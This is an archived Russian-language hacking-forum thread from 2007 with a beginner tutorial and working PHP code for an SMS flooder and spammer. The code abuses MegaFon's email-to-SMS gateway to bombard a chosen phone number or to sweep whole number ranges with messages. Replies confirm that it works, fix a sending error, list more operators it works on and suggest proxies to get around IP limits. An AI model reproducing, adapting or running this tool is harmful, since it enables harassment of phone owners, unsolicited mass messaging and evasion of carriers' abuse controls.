ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
Пишем Sms флудер и спамер |

07.09.2007, 19:00
|
|
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме: 3326855
Репутация:
702
|
|
Пишем Sms флудер и спамер

Статья расчитана на новичков ачата.
Всем привет. Это моя первая статья на ачате, и написать я её решил про SMS флуд и спам. Поискав на форуме, и найдя или нерабочие линки или нерабочие скрипты я решил сам накатать флудер. Жертвой стал российский МЕГАФОН.Возьмём его как пример.
ФЛУД
Для начала разберёмся, что такое флудер. В моём понимании флудер - это программа или скрипт, которая(ый) отправляет заданному адресату некую информацию в некотором количестве(часто - в очень большом).
И так, что нам нужно для написания такого флудера? Да почти ничего: - хостинг, с поддержкой PHP
- мозг + прямые руки
- умение юзать гугль
Для флуда мы будем использовать SMS шлюз данного оператора.
SMS-шлюз — интерфейс, который позволяет отправлять и получать смс-сообщения без использования мобильного телефона. SMS-сообщения преобразуются в сообщения электронной почты, HTTP-запросы и обратно. Сообщение, отправляемое через подобный шлюз, может быть бесплатным для отправителя; однако возможны технические ограничения, такие, как ограчинение числа отправляемых с одного компьютера сообщений в сутки.
Как понятно из вышеперечисленного продвинутые программеры ничего нового для себя не узнают.
Итак, вы выбрали хостинг, со всем разобрались...
Создаём страницу index.php следующего содержания:
PHP код:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>';
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->';
echo"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>";
echo"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>
<br/></div></body></html>";
?>
Как понятно из кода, это будет страница с формой для отправки, ссылающейся на наш скрипт, который будет называться sms.php:
PHP код:
<?php
$from="любой почтовый@ящик";
$to=$_POST['to'].'@sms.mgsm.ru';
$msg=$_POST['msg'];
for($i = 0; $i < $kol; $i++)
{
mail("$to", "", "$msg", "From: $from");
sleep($zad);
}
print"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> ";
?>
Начинаем разбирать код.
Вначале скрипта мы присваиваем переменные.
$from - любой почтовый ящик, от которого будут идти сообщения.
$to - адресат, то есть тот, кого мы бум флудить. Значение переменной берётся с формы index.php и слаживается с @sms.mgsm.ru. Что же такое, этот @sms.mgsm.ru? Это SMS шлюз оператора МЕГФОН.
$msg - переменная, в которой содержится текст, который будет посылаться.
Далее идёт цикл, задача которого и есть отправка нужного количества сообщением с паузой sleep.
Функция mail как раз отвечает за переслку почты на шлюз.
Теперь о функции sleep. Зачем она нужна?
Если мы её не впишем, то сервер не среагирует на нужное количество SMS и вышлет их в количестве 1-2 штук. Вот для того, чтобы сервер успевал реагировать и нужна эта функция. В скобках пишется количество секунд задержки. Эта цифра подбираемся методом перебора различных варинтов. Её значение может зависеть от загруженности шлюза и скорости вашего интернета. Так что тут экспериментируйте. Скрипт проверялся с параметром 7.
Проверяем работу скрипта. Заходим на нашу форму, вводим нужные данные и жмём кнопку...
Теперь стоит учесть, что скрипт выполняется не сразу, а постепенно, ожидая выставленную вами паузу после отпраки каждого ообщения.
СПАМ
Что такое спам? Я понимаю спам как массовую рассылку какой-то информации разным людям в разных целях. Что нам нужно для организации спама - всё, что было перечисленно для флудера
Нужно немного переделать форму отпраки. Приведу только фрагмент:
PHP код:
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
И немного модифицированный код sms.php:
PHP код:
<?php
$from="любой почтовый@ящик";
$to=$i.'@sms.mgsm.ru';
$msg=$_POST['msg'];
for($i = $diapstart; $i <= $diapfinish; $i++)
{
mail("$to", "", "$msg", "From: $from");
sleep($zad);
}
...
Думаю, тут всё понятно. Мы двигаемся по заданному диапозону номеров и отсылаем им SMS с заданным интервалом. У данного метода:
[+] работает без базы. на лицо экономия средств и трафика
[+] в отличие от базы - попадаете и в новичков сети, которых в базах(платных и бесплатных) ещё нет
[-] не все отправленые SMS будут доходить по той причине, что таких номеров может не существовать. Но можно подбирать такие диапозоны, чтобы была максимальная вероятность доставки SMS.
Что сказать в заключении...
Данный материал не призывает вас к действию и имеет ознакомительный характер. Автор статьи я, и при копипасте ссылка сюда обязательна.
При небольшом желании и должном умении скрипт модифицируется в спамера или подстраивается под любого другого оператора, с работающим SMS шлюзом.Вот для поиска шлюзов нам и надо было умение гуглить. Для ленивых - большой список шлюзов, и ещё больше . Но это, может быть, будет следующая статья.
P.S. Флудер на днях проверлся. Всё прекрасно работает. Если не работает, тут есть несколько вариантов. Один - кривые руки. Второй - ваш хостинг не держит функцию mail. Третий - оператор изменил шлюз или шлюз перегружен.
P.P.S. Тут будет список операторов, на котором флудер/спамер работает(проверенные юзерами ачата):
МЕГФОН
МОТИВ(Екатеринбург)
Последний раз редактировалось inlanger; 07.09.2007 в 22:52..
|
|
|

07.09.2007, 19:26
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме: 5128756
Репутация:
2032
|
|
дай линк на тест. ставить все это сейчас лениво
|
|
|

07.09.2007, 19:27
|
|
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме: 3326855
Репутация:
702
|
|
тестилось всё на сайте фирмы знакомого. скрипта там уже давно нет. так что всё своими силами
У меня просьба. Пишите список операторов, на которых это работает. Так как тестировался только мегафон.
Последний раз редактировалось Alexsize; 07.09.2007 в 19:57..
|
|
|

07.09.2007, 20:43
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме: 1948091
Репутация:
1686
|
|
хз как у вас у нас в by везде антибот
|
|
|

07.09.2007, 20:47
|
|
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме: 3326855
Репутация:
702
|
|
В России его почти нигде нет. В Украине - в половине операторов.
|
|
|

07.09.2007, 20:52
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме: 5128756
Репутация:
2032
|
|
Сообщение от genom--
хз как у вас у нас в by везде антибот
вот и я подозреваю, что пахать не будет. как-то слишком просто=\
|
|
|

07.09.2007, 20:55
|
|
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме: 3326855
Репутация:
702
|
|
говорю же, на днях тестировали. на мегафоне 100% работает.
|
|
|

07.09.2007, 20:56
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме: 5128756
Репутация:
2032
|
|
Сообщение от inlanger
говорю же, на днях тестировали. на мегафоне 100% работает.
ну ладно, сейчас проверю.... как же мне х*ево...
Warning: mail() [function.mail]: "sendmail_from" not set in php.ini or custom "From:" header missing
что в поле from писать?
Последний раз редактировалось Piflit; 07.09.2007 в 21:04..
|
|
|

07.09.2007, 21:01
|
|
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме: 3326855
Репутация:
702
|
|
если что, скрипт и статью можно добавить работой с прокси, если другие операторы будут выпендриваться с ограничением по IP
Warning: mail() [function.mail]: "sendmail_from" not set in php.ini or custom "From:" header missing
это я забыл добавить отправителя... уже всё исправил. пробуй.
Последний раз редактировалось Alexsize; 07.09.2007 в 21:55..
|
|
|

07.09.2007, 21:42
|
|
Познавший АНТИЧАТ
Регистрация: 07.01.2007
Сообщений: 1,263
Провел на форуме: 3326855
Репутация:
702
|
|
sorry for my bad english... 
исправил на "has been sent"
Последний раз редактировалось inlanger; 07.09.2007 в 21:44..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|